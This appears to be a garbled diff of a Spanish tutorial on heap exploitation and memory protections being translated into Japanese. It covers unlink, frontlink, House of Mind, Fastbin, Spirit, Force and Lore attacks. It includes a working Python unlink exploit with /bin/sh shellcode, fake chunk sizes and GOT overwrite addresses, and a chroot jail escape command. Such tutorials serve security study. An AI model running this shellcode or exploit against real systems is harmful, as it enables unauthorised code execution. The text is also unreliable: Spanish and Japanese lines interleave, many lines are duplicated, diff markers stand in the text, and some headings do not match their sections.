Se interceptan las llamadas a algunas funciones inseguras por otras seguras. No está estandarizado. (solo para x86, no para compilaxiones con -fomit-frame-pointer, no compilaciones estaticas, no todas las funciones vulnerables se vuelven seguras y LD\_PRELOAD no sirve en binarios con suid).
|
||||
いくつかの危険な関数呼び出しを安全な関数に置き換えます。標準化されていません(x86専用、-fomit-frame-pointerでのコンパイル、静的コンパイルでは機能せず、すべての脆弱な関数が安全になるわけではなく、LD\_PRELOADはsetuidバイナリでは機能しません)。
|
||||
|
||||
**ASCII Armored Address Space**
|
||||
**ASCIIアーマードアドレススペース**
|
||||
|
||||
Consiste en cargar las librería compartidas de 0x00000000 a 0x00ffffff para que siempre haya un byte 0x00. Sin embargo, esto realmente no detiene a penas ningún ataque, y menos en little endian.
|
||||
共有ライブラリを0x00000000から0x00ffffffにロードして、常に0x00のバイトがあるようにします。ただし、これはほとんどすべての攻撃を防ぐことはできず、リトルエンディアンではなおさらです。
|
||||
|
||||
**ret2plt**
|
||||
|
||||
Consiste en realiza un ROP de forma que se llame a la función strcpy@plt (de la plt) y se apunte a la entrada de la GOT y se copie el primer byte de la función a la que se quiere llamar (system()). Acto seguido se hace lo mismo apuntando a GOT+1 y se copia el 2ºbyte de system()… Al final se llama la dirección guardada en GOT que será system()
|
||||
strcpy@plt関数(pltから)を呼び出し、GOTのエントリを指し、呼び出したい関数(system())の最初のバイトをコピーするようにROPを実行することです。その後、GOT+1を指すように同じことを繰り返し、system()の2番目のバイトをコピーします。最後に、GOTに保存されたアドレス(system()であるはず)を呼び出します。
|
||||
|
||||
**Falso EBP**
|
||||
**chroot()によるジェイル**
|
||||
|
||||
Para las funciones que usen el EBP como registro para apuntar a los argumentos al modificar el EIP y apuntar a system() se debe haber modificado el EBP también para que apunte a una zona de memoria que tenga 2 bytes cuales quiera y después la dirección a &”/bin/sh”.
|
||||
debootstrap -arch=i386 hardy /home/user —> 特定のサブディレクトリに基本システムをインストールします
|
||||
|
||||
**Jaulas con chroot()**
|
||||
管理者は、これらのジェイルから抜け出すことができます: mkdir foo; chroot foo; cd ..
|
||||
|
||||
debootstrap -arch=i386 hardy /home/user —> Instala un sistema básico bajo un subdirectorio específico
|
||||
**コードインストゥルメンテーション**
|
||||
|
||||
Un admin puede salir de una de estas jaulas haciendo: mkdir foo; chroot foo; cd ..
|
||||
|
||||
**Instrumentación de código**
|
||||
|
||||
Valgrind —> Busca errores\
|
||||
Valgrind —> エラーを検索します\
|
||||
Memcheck\
|
||||
RAD (Return Address Defender)\
|
||||
RAD(Return Address Defender)\
|
||||
Insure++
|
||||
**シェルコード = "\xeb\x0caaaabbbbcccc" #jm 12 + 12バイトのパディング**
|
||||
|
||||
## **8 Heap Overflows: Exploits básicos**
|
||||
|
||||
**Trozo asignado**
|
||||
|
||||
prev\_size |\
|
||||
size | —Cabecera\
|
||||
\*mem | Datos
|
||||
|
||||
**Trozo libre**
|
||||
|
||||
prev\_size |\
|
||||
size |\
|
||||
\*fd | Ptr forward chunk\
|
||||
\*bk | Ptr back chunk —Cabecera\
|
||||
\*mem | Datos
|
||||
|
||||
Los trozos libres están en una lista doblemente enlazada (bin) y nunca pueden haber dos trozos libres juntos (se juntan)
|
||||
|
||||
En “size” hay bits para indicar: Si el trozo anterior está en uso, si el trozo ha sido asignado mediante mmap() y si el trozo pertenece al arena primario.
|
||||
|
||||
Si al liberar un trozo alguno de los contiguos se encuentra libre , estos se fusionan mediante la macro unlink() y se pasa el nuevo trozo más grande a frontlink() para que le inserte el bin adecuado.
|
||||
|
||||
unlink(){\
|
||||
BK = P->bk; —> El BK del nuevo chunk es el que tuviese el que ya estaba libre antes\
|
||||
FD = P->fd; —> El FD del nuevo chunk es el que tuviese el que ya estaba libre antes\
|
||||
FD->bk = BK; —> El BK del siguiente chunk apunta al nuevo chunk\
|
||||
BK->fd = FD; —> El FD del anterior chunk apunta al nuevo chunk\
|
||||
}
|
||||
|
||||
Por lo tanto si conseguimos modificar el P->bk con la dirección de un shellcode y el P->fd con la dirección a una entrada en la GOT o DTORS menos 12 se logra:
|
||||
|
||||
BK = P->bk = \&shellcode\
|
||||
FD = P->fd = &\_\_dtor\_end\_\_ - 12\
|
||||
FD->bk = BK -> \*((&\_\_dtor\_end\_\_ - 12) + 12) = \&shellcode
|
||||
|
||||
Y así se se ejecuta al salir del programa la shellcode.
|
||||
|
||||
Además, la 4º sentencia de unlink() escribe algo y la shellcode tiene que estar reparada para esto:
|
||||
|
||||
BK->fd = FD -> \*(\&shellcode + 8) = (&\_\_dtor\_end\_\_ - 12) —> Esto provoca la escritura de 4 bytes a partir del 8º byte de la shellcode, por lo que la primera instrucción de la shellcode debe ser un jmp para saltar esto y caer en unos nops que lleven al resto de la shellcode.
|
||||
|
||||
Por lo tanto el exploit se crea:
|
||||
|
||||
En el buffer1 metemos la shellcode comenzando por un jmp para que caiga en los nops o en el resto de la shellcode.
|
||||
|
||||
Después de la shell code metemos relleno hasta llegar al campo prev\_size y size del siguiente trozo. En estos sitios metemos 0xfffffff0 (de forma que se sobrescrita el prev\_size para que tenga el bit que dice que está libre) y “-4“(0xfffffffc) en el size (para que cuando compruebe en el 3º trozo si el 2º estaba libre en realidad vaya al prev\_size modificado que le dirá que s´está libre) -> Así cuando free() investigue irá al size del 3º pero en realidad irá al 2º - 4 y pensará que el 2º trozo está libre. Y entonces llamará a **unlink()**.
|
||||
|
||||
Al llamar a unlink() usará como P->fd los primeros datos del 2º trozo por lo que ahí se meterá la dirección que se quieres sobreescribir - 12(pues en FD->bk le sumará 12 a la dirección guardada en FD) . Y en esa dirección introducirá la segunda dirección que encuentre en el 2º trozo, que nos interesará que sea la dirección a la shellcode(P->bk falso).
|
||||
|
||||
**from struct import \***
|
||||
|
||||
**import os**
|
||||
|
||||
**shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12bytes de relleno**
|
||||
**shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \\**
|
||||
**シェルコード += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \\**
|
||||
|
||||
**"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \\**
|
||||
|
||||
**"\x80\xe8\xdc\xff\xff\xff/bin/sh";**
|
||||
|
||||
**prev\_size = pack("\<I”, 0xfffffff0) #前のチャンクが空きであることを示すビットが1になるようにする**
|
||||
**prev\_size = pack("\<I”, 0xfffffff0) #前のチャンクが空きであることを示すビットが1であることが重要**
|
||||
|
||||
**fake\_size = pack("\<I”, 0xfffffffc) #-4、3番目のチャンクの「サイズ」が4バイト手前にあると思わせるため(2番目のチャンクが空きかどうかを確認する場所)**
|
||||
**fake\_size = pack("\<I”, 0xfffffffc) #-4、3番目のチャンクの "size" が4バイト手前にあると思わせるため(2番目のチャンクが空きかどうかを確認する場所)**
|
||||
|
||||
**addr\_sc = pack("\<I", 0x0804a008 + 8) #ペイロードの最初に8バイトのパディングを追加**
|
||||
|
||||
**got\_free = pack("\<I", 0x08048300 - 12) #plt内のfree()のアドレス-12(2回目のfree()呼び出し時にshellcodeが実行されるアドレスを上書きするアドレス)**
|
||||
**got\_free = pack("\<I", 0x08048300 - 12) #plt内のfree()のアドレス-12(2回目のfree()呼び出し時にシェルコードが実行されるアドレスが上書きされるアドレス)**
|
||||
|
||||
**payload = "aaaabbbb" + shellcode + "b"\*(512-len(shellcode)-8) #ペイロードは、8バイトのパディングで始まることが指定されている**
|
||||
**payload = "aaaabbbb" + shellcode + "b"\*(512-len(shellcode)-8) #前述のように、ペイロードは8バイトのパディングで始まる**
|
||||
|
||||
**payload += prev\_size + fake\_size + got\_free + addr\_sc #2番目のチャンクを変更し、got\_freeはaddr\_sc + 12のアドレスを保存する場所を指す**
|
||||
|
||||
**os.system("./8.3.o " + payload)**
|
||||
|
||||
**unset()を逆順で解放する(wargame)**
|
||||
**unset()(逆順で解放する)(wargame)**
|
||||
|
||||
3つの連続したチャンクを制御し、逆の順序で解放される。
|
||||
|
||||
その場合:
|
||||
|
||||
チャンクcにshellcodeを配置する
|
||||
チャンクcにシェルコードを配置する
|
||||
|
||||
チャンクaを使用して、bを上書きして、サイズがPREV\_INUSEビットがオフになるようにし、チャンクaが空きだと思わせる
|
||||
チャンクaは、サイズのPREV\_INUSEビットがオフになっているようにbを上書きするために使用され、チャンクaが空きであると思わせる。
|
||||
|
||||
さらに、ヘッダbのサイズを-4に上書きする
|
||||
さらに、ヘッダーbのサイズを-4に上書きする。
|
||||
|
||||
その後、プログラムは「a」が空きでバイナリにあると思い、それをunlink()するために呼び出す。ただし、ヘッダPREV\_SIZEが-4であるため、「a」のチャンクが実際にはb+4から始まると考えます。つまり、b+4から始まるチャンクをunlink()し、b+12には「fd」ポインタがあり、b+16には「bk」ポインタがあります。
|
||||
その結果、プログラムは「a」が空きであり、バイナリにあると思い、それを解除するためにunlink()を呼び出します。ただし、ヘッダーPREV\_SIZEが-4であるため、「a」のチャンクが実際にはb+4から始まると考えます。つまり、b+4でunlink()が実行され、b+12にはポインター「fd」があり、b+16にはポインター「bk」があります。
|
||||
|
||||
したがって、bkにshellcodeのアドレスを、fdに「puts()」のアドレス-12を配置すると、ペイロードが完成します。
|
||||
したがって、bkにシェルコードのアドレスを、fdに「puts()」-12のアドレスを配置すると、ペイロードが完成します。
|
||||
|
||||
**Frontlink技術**
|
||||
|
||||
何も連続するチャンクが解放されず、unlink()が呼び出されない場合、直接frontlink()が呼び出されます。
|
||||
何も連続していないチャンクが解放されると、unlink()ではなく直接frontlink()が呼び出されます。
|
||||
|
||||
攻撃されるmallocが決して解放(free())されない場合に有用な脆弱性。
|
||||
|
||||
|
@ -698,33 +357,33 @@ Al llamar a unlink() usará como P->fd los primeros datos del 2º trozo por lo q
|
|||
|
||||
データ入力関数でオーバーフローする可能性のあるバッファ
|
||||
|
||||
このバッファの隣にある解放されるバッファで、前のバッファのオーバーフローによりそのヘッダのfdフィールドが変更される
|
||||
これに隣接する解放されるバッファで、前のバッファのオーバーフローによってそのヘッダーのfdフィールドが変更される
|
||||
|
||||
512より大きく、前のバッファより小さいサイズの解放するバッファ
|
||||
512より大きく、前のバッファより小さいサイズの解放されるバッファ
|
||||
|
||||
前述のステップ3より前に宣言されたバッファで、このバッファのprev\_sizeを上書きできる
|
||||
この前述のステップ3より前に宣言されたバッファで、このバッファのprev\_sizeを上書きできる
|
||||
|
||||
これにより、制御されない2つのmallocを上書きし、1つだけが解放されるが、exploitを実行できます。
|
||||
これにより、2つのmallocを制御された方法で上書きし、1つだけが解放されるが、エクスプロイトを実行できます。
|
||||
|
||||
**ダブルfree()の脆弱性**
|
||||
**ダブルフリー脆弱性**
|
||||
|
||||
同じポインタで2回free()が呼び出されると、2つのbinが同じアドレスを指すようになります。
|
||||
同じポインターで2回free()が呼び出されると、2つのbinが同じアドレスを指すようになります。
|
||||
|
||||
1つを再利用する場合は問題ありませんが、もう1つを使用しようとすると、前の予約が書き込むデータで「fd」と「bk」ポインタが誤った値になります。
|
||||
1つを再利用する場合は問題ありません。もう1つを使用しようとすると、前の予約が書き込むデータでfdとbkポインターが誤った値になります。
|
||||
|
||||
**After free()**
|
||||
**free()の後**
|
||||
|
||||
以前解放されたポインタが制御なしに再度使用されます。
|
||||
以前に解放されたポインターが制御なしに再度使用されます。
|
||||
|
||||
## **8 Heap Overflows: Exploits avanzados**
|
||||
## **8ヒープオーバーフロー:高度なエクスプロイト**
|
||||
|
||||
unlink()とfrontlink()の技術は、unlink()関数を変更することで削除されました。
|
||||
unlink()およびfrontlink()の技術は、unlink()関数を変更することで削除されました。
|
||||
|
||||
**The house of mind**
|
||||
|
||||
コードの任意の実行を引き起こすには、1回のfree()呼び出しが必要です。前のバッファによってオーバーフローされ、解放される2番目のバッファを見つけることが重要です。
|
||||
コードの任意の実行を引き起こすには、1回のfree()呼び出しが十分です。オーバーフローされた前のトロゾによって解放される可能性がある2番目のトロゾを見つけることが重要です。
|
||||
|
||||
free()の呼び出しはpublic\_fREe(mem)を呼び出します。これは次のように機能します:
|
||||
free()の呼び出しはpublic\_fREe(mem)を呼び出します。これは次のように動作します:
|
||||
|
||||
mstate ar\_ptr;
|
||||
|
||||
|
@ -732,7 +391,7 @@ mchunkptr p;
|
|||
|
||||
…
|
||||
|
||||
p = mem2chunk(mes); —> チャンクの開始アドレスを返します(mem-8)
|
||||
p = mem2chunk(mes); —> トロゾが始まるアドレス(mem-8)へのポインターを返す
|
||||
|
||||
…
|
||||
|
||||
|
@ -744,12 +403,12 @@ ar\_ptr = arena\_for\_chunk(p); —> chunk\_non\_main\_arena(ptr)?heap\_for\_ptr
|
|||
|
||||
}
|
||||
|
||||
\[1\]では、サイズフィールドとNON\_MAIN\_ARENAビットを確認し、このチェックがtrueを返すように変更できます。その後、heap\_for\_ptr()が実行され、"mem"にAND演算が適用され、最下位の2.5バイトが0になります(0x0804a000の場合、0x08000000になります)。そして、0x08000000->ar\_ptr(struct heap\_infoとして扱われる)にアクセスします。
|
||||
\[1\]では、サイズフィールドとNON\_MAIN\_ARENAビットを確認し、このチェックがtrueを返すように変更でき、heap\_for\_ptr()が実行されます。これにより、"mem"にAND演算が適用され、最も重要でない2.5バイトが0になります(0x0804a000の場合、0x08000000になります)、そして0x08000000->ar\_ptr(struct heap\_infoのように見える)にアクセスします。
|
||||
|
||||
したがって、たとえば0x0804a000に制御可能なチャンクがある場合、0x081002a0に解放されるチャンクがある場合、0x08100000に到達し、たとえば0x0804a000を書き込むことができます。この2番目のチャンクが解放されると、heap\_for\_ptr(ptr)->ar\_ptrが0x08100000に書き込んだ内容を返します(0x081002a0にAND演算が適用され、最初の4バイトの値が取得されるため、ar\_ptrが取得されます)。
|
||||
したがって、たとえば0x0804a000にトロゾを制御し、0x081002a0にトロゾを解放する場合、0x08100000に到達し、たとえば0x0804a000を書き込むことができます。この2番目のトロゾが解放されると、heap\_for\_ptr(ptr)->ar\_ptrが0x08100000に書き込んだ内容を返します(0x081002a0にAND演算が適用され、そこから最初の4バイトの値、ar\_ptrが取得されるため)。
|
||||
|
||||
_int\_free(ar\_ptr, mem)が呼び出されるため、\_int\_free(0x0804a000, 0x081002a0)が実行されます。\
|
||||
\_int\_free(mstate av, Void\_t\* mem){**\
|
||||
\_int\_free(mstate av, Void\_t\* mem){\
|
||||
…\
|
||||
bck = unsorted\_chunks(av);\
|
||||
fwd = bck->fd;\
|
||||
|
@ -760,29 +419,29 @@ fwd->bk = p;
|
|||
|
||||
..}
|
||||
|
||||
前述のように、avの値を制御できるため、解放されるチャンクに書き込んだ値が使用されます。
|
||||
前述のように、avの値を制御できるため、解放されるトロゾに書き込んだ値に従って処理が進みます。
|
||||
|
||||
unsorted\_chunksがどのように定義されているかを考えると、次のことがわかります:\
|
||||
bck = \&av->bins\[2]-8;\
|
||||
fwd = bck->fd = \*(av->bins\[2]);\
|
||||
fwd->bk = \*(av->bins\[2] + 12) = p;
|
||||
|
||||
したがって、av->bins\[2\]に\_\_DTOR\_END\_\_-12の値を書き込むと、最後の命令で\_\_DTOR\_END\_\_に2番目のチャンクのアドレスが書き込まれます。
|
||||
したがって、av->bins\[2\]に\_\_DTOR\_END\_\_-12の値を書き込むと、最後の命令で\_\_DTOR\_END\_\_に2番目のトロゾのアドレスが書き込まれます。
|
||||
|
||||
つまり、最初のチャンクの先頭に\_\_DTOR\_END\_\_-12のアドレスを何度も配置する必要があります。av->bins\[2\]が取得するためです。
|
||||
つまり、最初のトロゾの先頭に\_\_DTOR\_END\_\_-12のアドレスを何度も配置する必要があります。av->bins\[2\]が取得するためです。
|
||||
|
||||
2番目のチャンクでは、最初に多くのnopsを配置し、最後にshellcodeを配置します。
|
||||
|
||||
これにより、\_int\_free(TROZO1, TROZO2)が呼び出され、\_\_DTOR\_END\_\_のアドレスがTROZO2のprev\_sizeのアドレスに書き込まれ、shellcodeにジャンプします。
|
||||
2番目のトロゾのアドレスが最後の5桁の0であるアドレスに、最後にはシェルコードを配置します。
|
||||
|
||||
このようにして、\_int\_free(TROZO1, TROZO2)が呼び出され、\_\_DTOR\_END\_\_にTROZO2のprev\_sizeのアドレスが書き込まれ、シェルコードが実行されます。
|
||||
この技術を適用するには、ペイロードを少し複雑にするいくつかの要件を満たす必要があります。
|
||||
この技術はもはや適用されません。unlinkに適用されたパッチとほぼ同じパッチが適用されました。新しいサイトが自身に向けられているかどうかを比較します。
|
||||
|
||||
この技術はもはや適用できません。unlink とほぼ同じパッチが適用されました。新しいサイトが自身を指しているかどうかを比較します。
|
||||
|
||||
**Fastbin**
|
||||
|
||||
The house of mindの変種です。
|
||||
The house of mind のバリエーションです。
|
||||
|
||||
次のコードを実行することに興味があります。これは、\_int\_free()関数の最初のチェックを通過した後に到達します。
|
||||
次のコードを実行することが重要で、これは \_int\_free() 関数の最初のチェックを通過した後に到達します。
|
||||
|
||||
fb = &(av->fastbins\[fastbin\_index(size)] —> fastbin\_index(sz) —> (sz >> 3) - 2
|
||||
|
||||
|
@ -792,57 +451,59 @@ p->fd = \*fb
|
|||
|
||||
\*fb = p
|
||||
|
||||
したがって、"fb"にはGOT内の関数のアドレスがあり、このアドレスに上書きされるアドレスが配置されます。これには、アリーナがdtorsのアドレスに近い必要があります。具体的には、av->max\_fastが上書きされるアドレスにある必要があります。
|
||||
これにより、"fb" には GOT 内の関数のアドレスが入ります。このアドレスには上書きされるチャンクのアドレスが入ります。これには、アリーナが dtors のアドレスに近い必要があります。具体的には、av->max\_fast が上書きされるアドレスにある必要があります。
|
||||
|
||||
The House of Mindでavの位置を制御できることがわかったため、sizeフィールドに8 + NON\_MAIN\_ARENA + PREV\_INUSEのサイズを設定すると、fastbin\_index()はfastbins\[-1]を返し、これはav->max\_fastを指します。
|
||||
The House of Mind では、av の位置を制御できることがわかりました。
|
||||
|
||||
この場合、av->max\_fastは上書きされるアドレスになります(指すアドレスではなく、その位置が上書きされます)。
|
||||
したがって、size フィールドに 8 + NON\_MAIN\_ARENA + PREV\_INUSE のサイズを設定すると、fastbin\_index() は fastbins\[-1] を返し、これは av->max\_fast を指します。
|
||||
|
||||
さらに、解放された隣接するチャンクのサイズが8より大きい必要があります。解放されたチャンクのサイズが8であると述べたため、この偽のチャンクには8より大きいサイズを設定するだけで十分です(さらに、シェルコードは解放されたチャンクに配置されるため、最初にnopsに落ちるjmpを配置する必要があります)。
|
||||
この場合、av->max\_fast が上書きされるアドレスになります(指すアドレスではなく、上書きされる位置です)。
|
||||
|
||||
さらに、同じ偽のチャンクはav->system\_memよりも小さくなければなりません。av->system\_memは1848バイト先にあります。
|
||||
さらに、解放されたチャンクの隣接するチャンクのサイズが 8 より大きい必要があります。解放されたチャンクのサイズが 8 であると述べたため、この偽のチャンクには 8 より大きいサイズを設定するだけで十分です(さらに、シェルコードは解放されたチャンクに配置されるため、最初に nops に落ちる jmp を設定する必要があります)。
|
||||
|
||||
\_DTOR\_END\_のnullとGOT内のアドレスが少ないため、これらのセクションのどのアドレスも上書きに適していません。そのため、スタックを攻撃するためにfastbinを適用する方法を見てみましょう。
|
||||
さらに、同じ偽のチャンクは av->system\_mem より小さくなければなりません。av->system\_mem はその位置よりも 1848 バイト先にあります。
|
||||
|
||||
攻撃の別の方法は、**av**をスタックにリダイレクトすることです。
|
||||
\_DTOR\_END\_ の null と GOT 内のアドレスが少ないため、これらのセクションのどのアドレスも上書きに適していません。そのため、fastbin を使用してスタックを攻撃する方法を見てみましょう。
|
||||
|
||||
サイズを8ではなく16に変更すると、fastbin\_index()はfastbins\[0]を返し、これを使用してスタックを上書きできます。
|
||||
もう一つの攻撃方法は、**av** をスタックにリダイレクトすることです。
|
||||
|
||||
これには、スタックにcanaryや奇妙な値が含まれていない必要があります。実際、このようになっている必要があります:4バイトのnull + EBP + RET
|
||||
size を 8 ではなく 16 に変更すると、fastbin\_index() は fastbins\[0] を返し、これを使用してスタックを上書きできます。
|
||||
|
||||
4バイトのnullが必要なのは、**av**がこのアドレスにある必要があり、**av**の最初の要素は0であるmutexである必要があるためです。
|
||||
これには、スタックにキャナリや奇妙な値が含まれていない必要があります。実際、このような構造が必要です:4 バイトの null + EBP + RET
|
||||
|
||||
**av->max\_fast**はEBPになり、これは制約をスキップするための値になります。
|
||||
4 バイトの null が必要なのは、**av** がこのアドレスにある必要があり、**av** の最初の要素は値が 0 である必要があるためです。
|
||||
|
||||
**av->fastbins\[0]**には**p**のアドレスが上書きされ、RETになり、これによりシェルコードにジャンプします。
|
||||
**av->max\_fast** は EBP になり、これは制約をスキップするための値になります。
|
||||
|
||||
さらに、**av->system\_mem**(スタック上の位置から1484バイト上にある)には、スキップされる可能性のある多くのゴミが含まれており、これにより確認がスキップされます。
|
||||
**av->fastbins\[0]** は **p** のアドレスで上書きされ、RET になり、これによりシェルコードにジャンプします。
|
||||
|
||||
解放された隣接するチャンクのサイズが8より大きい必要があります。解放されたチャンクのサイズが16であると述べたため、この偽のチャンクには8より大きいサイズを設定するだけで十分です(さらに、シェルコードは解放されたチャンクに配置されるため、新しい偽のチャンクのサイズフィールドの後に配置されるnopsに落ちるjmpを配置する必要があります)。
|
||||
さらに、**av->system\_mem**(スタック上の位置から 1484 バイト上にある)には、スキップされる可能性のある多くのゴミが含まれており、これにより行われるチェックをスキップできます。
|
||||
|
||||
解放されたチャンクの隣接するチャンクのサイズが 8 より大きい必要があります。解放されたチャンクのサイズが 16 であると述べたため、この偽のチャンクには 8 より大きいサイズを設定するだけで十分です(さらに、シェルコードは解放されたチャンクに配置されるため、新しい偽のチャンクのサイズのフィールドの後にある nops にジャンプする jmp を設定する必要があります)。
|
||||
|
||||
**The House of Spirit**
|
||||
|
||||
この場合、攻撃者が変更可能なmallocへのポインタ(たとえば、オーバーフロー可能な変数の下のスタックにあるポインタ)を持つことを目指します。
|
||||
この場合、攻撃者が変更可能な malloc のポインタを持つ malloc を持つことが重要です(例:ポインタがオーバーフロー可能な変数の下のスタックにある場合)。
|
||||
|
||||
したがって、このポインタを任意の場所に指すことができます。ただし、どの場所でも有効ではありません。偽のチャンクのサイズはav->max\_fastより小さく、より具体的には将来のmalloc()呼び出しで要求されるサイズ+8と同じである必要があります。したがって、たとえば、プログラムがユーザーに数値を尋ねる場合、48を入力し、malloc(40)の次の4バイトを指すポインタ(幸運な場合はEBPに属する可能性があります)を指すように変更できます。したがって、48が後ろに残るように、まるでサイズのヘッダーであるかのようにします。さらに、ptr-4+48のアドレスにはいくつかの条件を満たす必要があります(この場合、ptr=EBPであることを意味します)。つまり、8 < ptr-4+48 < av->system\_memである必要があります。
|
||||
したがって、このポインタを任意の場所に指すことができます。ただし、どの場所でも有効ではありません。偽のチャンクのサイズは av->max\_fast より小さく、より具体的には将来の malloc() の呼び出しで要求されるサイズに 8 を加えたものと等しくする必要があります。したがって、たとえばプログラムがユーザーに数値を尋ねる場合、48 を入力し、malloc の変更可能なポインタを次の 4 バイトに指すことができます(これらは EBP に属する可能性があります。したがって、48 は後方に残り、サイズフィールドのように見えます)。さらに、ptr-4+48 のアドレスにはいくつかの条件を満たす必要があります(この場合、ptr=EBP です)。つまり、8 < ptr-4+48 < av->system\_mem です。
|
||||
|
||||
これが満たされると、次にmalloc(40)が呼び出されると、EBPのアドレスが割り当てられます。攻撃者がこのmallocで書き込むこともできる場合、EBPとEIPの両方を任意のアドレスで上書きできます。
|
||||
これが満たされると、次に malloc が呼び出されると、malloc(40) と言った次の malloc に EBP のアドレスが割り当てられます。攻撃者がこの malloc で書き込むこともできる場合、EBP と EIP の両方を任意のアドレスで上書きできます。
|
||||
|
||||
これは、free()がスタックのEBPを指すアドレスに、新しいmalloc()で予約する必要のある完璧なサイズのチャンクがあることを覚えているためだと思われます。
|
||||
これは、free() がスタックの EBP を指すアドレスに完璧なサイズのチャンクがあることを覚えておくためです。したがって、そのアドレスが割り当てられます。
|
||||
|
||||
**The House of Force**
|
||||
|
||||
必要なもの:
|
||||
|
||||
* wildernessを上書きできるオーバーフロー
|
||||
* ユーザーが定義したサイズでのmalloc()呼び出し
|
||||
* ユーザーが定義したデータでのmalloc()呼び出し
|
||||
* wilderness を上書きできるチャンクへのオーバーフロー
|
||||
* ユーザーが定義したサイズでの malloc() の呼び出し
|
||||
* ユーザーが定義したデータでの malloc() の呼び出し
|
||||
|
||||
最初に行うことは、wildernessのサイズを非常に大きな値(0xffffffff)で上書きすることです。これにより、十分に大きなメモリ要求があれば、ヒープを拡張する必要なく_int_malloc()で処理されます。
|
||||
最初に行うことは、wilderness チャンクのサイズを非常に大きな値(0xffffffff)で上書きすることです。これにより、十分に大きなメモリ要求があれば、ヒープを拡張する必要がなくなります。
|
||||
|
||||
次に、av->topを、スタックなどの攻撃者の制御下にあるメモリ領域を指すように変更します。av->topには\&EIP - 8が配置されます。
|
||||
次に、av->top を、スタックなどの攻撃者の制御下にあるメモリ領域を指すように変更します。av->top には \&EIP - 8 が入ります。
|
||||
|
||||
av->topを攻撃者の制御下のメモリ領域を指すように上書きする必要があります:
|
||||
av->top を攻撃者の制御下のメモリ領域を指すように上書きする必要があります:
|
||||
|
||||
victim = av->top;
|
||||
|
||||
|
@ -850,50 +511,59 @@ remainder = chunck\_at\_offset(victim, nb);
|
|||
|
||||
av->top = remainder;
|
||||
|
||||
Victimは現在のwildernessチャンクのアドレスを収集し、remainderはそのアドレスにmalloc()によって要求されたバイト数を追加したものです。したがって、\&EIP-8が0xbffff224にあり、av->topが0x080c2788を含む場合、次のmalloc()でav->topが$EIP-8を指すようにするために制御されたmallocで予約する必要のあるバイト数は次のようになります:
|
||||
Victim は現在の wilderness チャンクのアドレスを収集し、remainder はそのアドレスに malloc() によって要求されたバイト数を追加したものです。したがって、\&EIP-8 が 0xbffff224 にあり、av->top が 0x080c2788 を含んでいる場合、次の malloc が \&EIP-8 を指すようにするために制御された malloc で予約する必要があるバイト数は次のようになります:
|
||||
|
||||
0xbffff224 - 0x080c2788 = 3086207644.
|
||||
|
||||
これにより、av->topに変更された値が保存され、次のmallocがEIPを指し、上書きできるようになります。
|
||||
これにより、av->top に変更された値が保存され、次の malloc が EIP を指し、上書きできるようになります。
|
||||
|
||||
新しいwildernessチャンクのサイズが、最後のmalloc()によって要求されたサイズよりも大きい必要があることを知っておくことが重要です。つまり、wildernessが\&EIP-8を指している場合、サイズはちょうどスタックのEBPフィールドになります。
|
||||
新しい wilderness チャンクのサイズが、最後の malloc() による要求よりも大きい必要があります。つまり、wilderness が \&EIP-8 を指している場合、サイズはスタックの EBP のフィールドにちょうど残ります。
|
||||
|
||||
**The House of Lore**
|
||||
|
||||
**SmallBinの破損**
|
||||
**SmallBin の破損**
|
||||
|
||||
解放されたチャンクはサイズに応じてbinに挿入されます。しかし、挿入される前にunsorted binsに保存されます。チャンクが解放されると、すぐに適切なbinに挿入されるのではなく、unsorted binsに残ります。次に、新しいチャンクが予約され、前の解放されたチャンクが役立つ場合はそれが返されますが、より大きなチャンクが予約されると、unsorted bins内の解放されたチャンクは適切なbinに挿入されます。
|
||||
解放されたチャンクはサイズに応じて bin に挿入されます。しかし、それらを bin に挿入する前に、unsorted bins に保存されます。チャンクが解放されると、すぐに bin に挿入されるのではなく、unsorted bins に残ります。次に、新しいチャンクが予約され、前の解放されたチャンクが役立つ場合はそれが返されますが、より大きなチャンクが予約されると、unsorted bins にある解放されたチャンクが適切な bin に挿入されます。
|
||||
|
||||
脆弱なコードに到達するには、メモリ要求がav->max\_fast(通常72)より大きく、MIN\_LARGE\_SIZE(512)より小さい必要があります。
|
||||
脆弱なコードに到達するには、メモリ要求が av->max\_fast(通常は 72)より大きく、MIN\_LARGE\_SIZE(512)より小さい必要があります。
|
||||
|
||||
binに適切なサイズのチャンクがある場合、それを解除してから返します:
|
||||
bin に適切なサイズのチャンクがある場合、それを解除してから返します:
|
||||
|
||||
bck = victim->bk; 前のチャンクを指します。これを変更できる唯一の情報です。
|
||||
|
||||
bin->bk = bck; 2番目のチャンクが最後のチャンクになり、bckがスタックを指す場合、次に予約されるチャンクにはこのアドレスが与えられます。
|
||||
bin->bk = bck; 前から 2 番目のチャンクが最後になります。bck がスタックを指している場合、次に予約されるチャンクにこのアドレスが与えられます。
|
||||
|
||||
bck->fd = bin; リストを閉じ、これをbinに指します。
|
||||
bck->fd = bin; リストを閉じ、これを bin に指します。
|
||||
|
||||
必要なもの:
|
||||
**基本的なESPの悪用**
|
||||
## **基本的なESPの利用**
|
||||
|
||||
1. 2つのmallocを予約し、2番目のmallocが解放され、そのbinに入れられた後に最初のmallocにオーバーフローできるようにします(つまり、オーバーフローする前に2番目のチャンクよりも大きなmallocが予約されます)。
|
||||
2. 攻撃者が選択したアドレスを持つmalloc予約されたチャンクを攻撃者が制御できるようにします。
|
||||
3. 攻撃の目的は、解放されたbinの下にあるヒープにオーバーフローを行うことができれば、そのポインタbkを変更できます。ポインタbkを変更し、このチャンクがbinのリストの最初になり、予約されると、binは欺かれ、次に提供されるリストの最後のチャンクが攻撃者が設定した偽のアドレス(たとえば、スタックまたはGOT)にあると信じ込まされます。したがって、別のチャンクが再度予約され、攻撃者がそのチャンクに権限を持っている場合、望ましい位置にチャンクが与えられ、その位置に書き込むことができます。
|
||||
4. 変更されたチャンクを解放した後、解放されたチャンクよりも大きなチャンクを予約する必要があります。これにより、変更されたチャンクはunsorted binsから出て、そのbinに挿入されます。
|
||||
5. binに入った後は、オーバーフローを使用してポインタbkを変更し、binがmalloc()が十分に呼び出されるのを待つ必要があります。これにより、変更されたbinが再度使用され、binを欺いて次のチャンクが偽のアドレスにあると信じ込ませることができます。そして、望ましいチャンクが与えられます。
|
||||
